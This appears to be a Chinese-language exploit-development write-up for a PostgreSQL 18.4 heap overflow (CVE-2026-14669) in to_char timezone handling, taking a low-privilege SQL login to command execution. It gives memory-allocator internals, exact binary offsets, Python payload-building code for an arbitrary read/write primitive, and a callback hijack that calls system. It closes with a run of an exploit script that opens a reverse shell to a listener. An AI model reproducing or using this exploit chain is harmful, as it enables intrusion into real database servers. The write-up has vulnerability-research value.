复现文章记录结论,本文记录研究过程。CVE-2026-14669 是 to_char 处理时区缩写时的堆溢出,公开利用只针对 19beta1 的一个特定构建。目标是在 18.4 上从任意可登录账号取得命令执行,全程只使用 SQL。
问题的定义
漏洞本身只提供一次越界写。要把它变成可控利用,需要回答三个问题:越界写能覆盖哪些结构、哪些结构被改写后会触发进一步行为、以及在没有符号信息时如何确定这些结构的地址。
公开利用依赖 19beta1 的分配器行为与堆布局,直接照搬到 18.4 会让后端在准备阶段崩溃,崩溃点位于 GenerationFree 内部,与公开链预期的位置不同。这说明两版的内部结构存在差异,继续调常数没有意义,需要先建立对目标分配器的准确认识。
方法号是什么,从哪里来
PostgreSQL 的内存分配统一走 palloc,每次分配都归属于某个 MemoryContext。不同上下文可以由不同的分配器实现:普通上下文用 AllocSet,按代管理的上下文用 Generation,固定大小对象的上下文用 Slab,只增不减的上下文用 Bump。
每种分配器都实现同一组操作(分配、释放、重分配、复位、删除等),打包成一个函数指针数组,称为方法表。程序启动时这些方法表按顺序登记进一张全局数组 mcxt_methods[],数组下标就是方法号。分配器在写入块头时,把自己的下标写进块头的低四位,于是释放时不需要知道上下文,只读块头就能找到对应的释放函数。派发过程本身只有三步:
uint64 hdrmask = *(uint64 *) ((char *) pointer - 8);uint32 method = hdrmask & 0x0F;mcxt_methods[method]->free_p(pointer);18.4 的派发表位于映像内固定偏移 0x9D9400,每项 72 字节(9 个指针),第二个指针是释放函数。逐项读出的结果如下:
方法号 释放函数 RVA0,1,2,8-15 BogusFree 0x17186E3 AllocSetFree 0x6A1DC04 GenerationFree 0x6A70905 SlabFree 0x6AA1C06 指针对齐转发 0x6A14607 BumpFree 0x171221这张表还解释了一个后续反复用到的常数。AllocSet 的方法表地址等于派发表基址加上方法号乘项长:
0x9D9400 + 3 * 72 = 0x9D94D80x9D94D8 正是泄漏阶段用来反推程序基址的那个偏移。它之所以固定,是因为方法表在映像中的位置由链接顺序决定,不随运行期地址变化。对应的机器码也只有五条指令:
6a8600 <pfree>: mov -0x8(%rdi),%rax and $0xf,%eax lea (%rax,%rax,8),%rdx ; 方法号乘 9 lea 0x330dea(%rip),%rax ; mcxt_methods jmp *0x8(%rax,%rdx,8) ; 跳到 free_p块头 8 个字节的位域划分同样来自这套设计:
位 0-3 方法号(4 位)位 4 external 标志(0x10)位 5-34 块大小(30 位)位 34-63 块偏移(30 位,最低位恒为 0)释放函数用块偏移复原所属大块的地址,三个真实释放函数展开后是同一个公式:
block = (chunk - 8) - ((hdr >> 34) & 0x3FFFFFFE)字段本身有 30 位,但利用时只能控制块头的前 6 个字节,因此实际可用偏移不超过 0x3FFFFFFE,即向低地址 16 KB。
建模之后,崩溃变成可定位的事实
模型建立之前,一次崩溃只说明“参数不对”。模型建立之后,同样的崩溃可以读出函数名、指令偏移与出错字段。例如照搬公开链时的记录:
RIP=0x55d1d72bf10d <GenerationFree+125>偏移 +125 对应读取伪造块的 context 字段,说明类型混淆确实发生,问题出在块结构与 19beta1 不同。围绕这一判断又做了两组扫描。
第一组固定填充字符为 d,改变缩写长度:
缩写长度 结果16-31 正常返回32 pfree 拒绝,块头 0x000002000000000033-49 后端崩溃to_char(now(),'TZtz') 的结果缓冲区是 64 字节的块,偏移 64 即下一个块头。长度不超过 31 时两次拷贝都留在块内;32 时只有一个终止符落到块头首字节;33 起开始改写方法号。
第二组固定长度为 33,改变填充字符:
填充 方法号 结果b 2 pfree 拒绝c 3 正常返回d 4 后端崩溃e 5 后端崩溃f 6 pfree 拒绝g 7 后端崩溃只有 c 存活,公开链使用的 d 恰好对应崩溃的那一项。方法号与释放函数的对应关系随版本不同,这是第一处不能照搬的地方。
观测手段:把未知量变成可测量量
模型给出结构,观测给出数值。研究过程中固定使用三种方式。
第一种是把软报错当作探针。方法号 1 进入 BogusFree,报错同时给出被释放指针与块头内容,既不终止进程,又能读出地址。解析只需要一次正则:
m = re.search(rb"invalid pointer (0x[0-9a-f]+)", err)addr = int(m.group(1), 16)第二种是用特征值定位缓冲区。在载荷固定位置写入 system 的 PLT 地址,在 hex_decode 返回的瞬间扫描堆内存,命中位置减去固定偏移即为载荷起点:
载荷长度 与泄漏指针的距离2048 -683072 -684096 +656206000 +732367000 +772368090 +815883 KB 以内稳定落在泄漏指针减 68 的位置,4 KB 起进入独立大块。这条分布决定了后续载荷的尺寸上限。
第三种是写后读回。任意写原语会把目标原值同时读回结果缓冲区,因此每次写入都能确认是否真的发生。用它读出的两个全局变量为后续设计提供基准:
PortalContext 原值 = 0x55d1f173e750TopTransactionContext 原值 = 0x55d1f18513a0三种手段要落地,还需要一套能反复使用的观测工具链。早期用一次性的 psql -c 发语句,进程在语句结束或后端崩溃后立即断开,gdb 往往来不及附加;后来改为常驻会话加常驻 gdb:
mkfifo /tmp/qfPGPASSWORD=postgres psql -h 127.0.0.1 -p 55432 -U postgres -f /tmp/qf &exec 3>/tmp/qf # 保持 fifo 打开echo "select pg_backend_pid();" >&3HP=$(docker top pg14669 -o pid,args | grep "(54321)" | awk '{print $1}')gdb -q -p $HP -ex "source /tmp/trace.py" -ex "continue"这里有两个容易踩的细节。其一,后端进程要用客户端端口匹配,不能按命令行关键词取第一个,否则会附加到空闲连接上;其二,gdb 输出默认带缓冲,直接 kill 会丢失记录,需要在断点命令里 detach 后 quit,让它自己退出。
写原语的判据与筛选
在模型与观测具备之后,写原语的筛选有明确判据:不调用 libc free、写入值可控、目标地址可控、不破坏当前事务。
方法号 6:指针对齐
指针对齐把块头里的偏移字段当成反推量:
target = chunk - ((hdr >> 34) & 0x3FFFFFFE) - 8然后 jmp pfree(target)同一条语句中 decode() 落在 D,to_char 的缓冲区在 D+4192,几何固定,偏移因此是常数。缩写第 29 到 34 字节就是按这个偏移算出来的六个字节:
off6 = 4192 - 8 - 0x400hdr = 6 | (off6 << 34) # 方法号 6 + 偏移abbr[29:35] = hdr.to_bytes(8, "little")[:6]实际脚本还会把偏移字段之外的高位填成非零字节,避免缩写里出现 NUL。十次独立会话全部重定向成功。
方法号 3:读写搬移
AllocSetFree 在非 external 分支上只做一次搬移,不调用 free:
block = chunk - 8 - ((hdr >> 34) & 0x3FFFFFFE)rcx = *(block)rsi = *(rcx + (size + 10) * 8 + 8)*(chunk) = rsi*(rcx + (size + 10) * 8 + 8) = chunk - 8ret目标地址由 *(block) 与块大小字段共同决定,两者都在载荷中;写入值是块头地址,同时目标原值被读回。这一条同时满足任意读写与“不调用 free”,成为后续所有工作的基础。对应的载荷骨架如下,其中 P 由目标地址反推,减法按 64 位回绕:
size = 1 | (0x0A<<3) | (0x69<<11) | (0x64<<19) # "#\nid"boff = 64hdr = (3 | (size << 5) | (boff << 34)).to_bytes(8, "little")P = (target - (size + 10) * 8 - 8) & 0xFFFFFFFFFFFFFFFFpay[K-12:K-4] = hdr # pfree 读取的块头pay[K+4:K+12] = (T + 0x200).to_bytes(8, "little") # 方法表指针pay[K+0x1FC:...] = table # 九项方法表,第 4 项换成 systempay[KB:KB+8] = P.to_bytes(8, "little") # 伪造块的 *(block)九个方法表项除第 4 项外全部照抄真实值,这样上下文在被复位之前若被分配器用到,仍然能继续工作。
方法号 4:摘链之后调用 free
方法号 4 的摘链同样能写两个地址,但摘链之后紧跟一句 jmp free@plt。伪造块位于解码缓冲区内部,不是 malloc 返回的块首,libc 会直接中止进程。围绕它做了 10 个目标乘 10 种伪造结构的实验,共 100 轮,结果全部为连接中断:
目标 轮数 结果PortalContext 10 中断CurTransactionContext 10 中断TopTransactionContext 10 中断MessageContext 10 中断CacheMemoryContext 10 中断ErrorContext 10 中断TopMemoryContext 10 中断CurrentMemoryContext 10 中断PortalContext(断开) 10 中断MessageContext(提交) 10 中断由此整条路径被放弃,而不是继续修补。
四条候选的取舍
四条原语的取舍可以并成一张表:
候选 不调 free 写入值可控 目标可控 结论方法号 6 是 不写值,只转移 是 用作入口方法号 3 是 固定为块头地址 是 用作读写方法号 4 否 是 是 放弃方法号 5 未验证 依赖真实 Slab 结构 否 未展开把这四条判据写在前面,筛选就不再依赖直觉:先看收尾是否调用 libc free,再看写入值与目标地址是否都能由载荷决定,最后看会不会破坏当前事务。
地址漂移与收敛
方法表指针必须是绝对地址,而 decode() 的落点在同一事务内会漂移。这里的思路是把未知量转化为可测量量:在 .data 中选一个空闲槽作为标定板,用同一形状的语句连续执行三次,每次把槽内原值读回结果缓冲区,下一步用读回值加 8 修正指针:
[*] converge 0: fake ctx = 0x0[*] converge 1: fake ctx = 0x55d1f17bb948[*] converge 2: fake ctx = 0x55d1f17bb948对应的循环只有五行:
for i in range(3): cur.execute("SELECT decode('%s', ...), to_char(now(),'TZtz')" % payload(T, base+SCRATCH).hex()) old = int.from_bytes(res[K-4:K+4], "little") if old > 0x500000000000: T = old + 8两次收敛到同一地址,说明落点稳定。此后连续四次执行,收敛值均为 0x55d1f17bb948,载荷第一次具备确定性。
约束下的劫持设计
写入值固定为块头地址,这一限制反过来决定劫持方式。块头 8 个字节同时受三方面约束:低四位为方法号 3,第五位为 external 标志且必须为零,第五字节为上下文的是否已复位标志。
选择 0x23 作为首字节,同时满足方法号 3 与 external 位为零,字符为 #;第二字节放换行,使后续内容成为第二行,避开注释;块偏移取 64,使第五字节为零:
23 0a 69 64 00 01 00 00 -> "#\nid"size = 0x3234851 block offset = 64块偏移若取其他值,第五字节非零,复位入口会判定上下文已复位并直接返回,提交时没有任何反应。
命令只有两个字符,无法承载完整操作。最终方案改用复位回调:上下文结构的 reset_cbs 字段位于 T+0x40,指向载荷中 T+0x60 的回调块,回调的 func 为 system,arg 指向 T+0x100 的完整命令串。回调在方法表之前执行,参数完全由载荷决定,长度不再受限。
验证:从低权限账号到交互式 shell
从攻击机以低权限账号执行,监听端收到交互式 shell:
┌──(kali㉿kali)-[~]└─$ python3 rs.py 192.168.31.148 55432 postgres postgres 192.168.31.152 4444[+] PIE base = 0x55d1d6c18000[*] converge 1: fake ctx = 0x55d1f17bb948[*] fake context -> 0x55d1f17bb940[+] payload delivered, expect a shell on 192.168.31.152:4444connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 34386postgres@e2d973a1a25d:~/18/docker$ iduid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)连续四次执行均建立连接,收敛值一致。
方法总结
先建模,后实验。把派发表与块指针公式读清楚,崩溃就从未知故障变成已知路径上的确定位置。
先定判据,再筛原语。把“不调用 libc free、写入值与目标地址可控、不破坏当前事务”写成明确条件,可以快速排除看似诱人但必然失败的路径。
用观测替代猜测。软报错探针、特征值扫描、写后读回,三者把大部分未知量变成可测量量,地址漂移由此转化为收敛问题。
约束之下寻找替代路径。写入值固定导致命令长度受限,解法不是硬撑,而是换用回调结构,让参数来源从块头转移到载荷。
复现的环境、探测与验证过程见复现文章。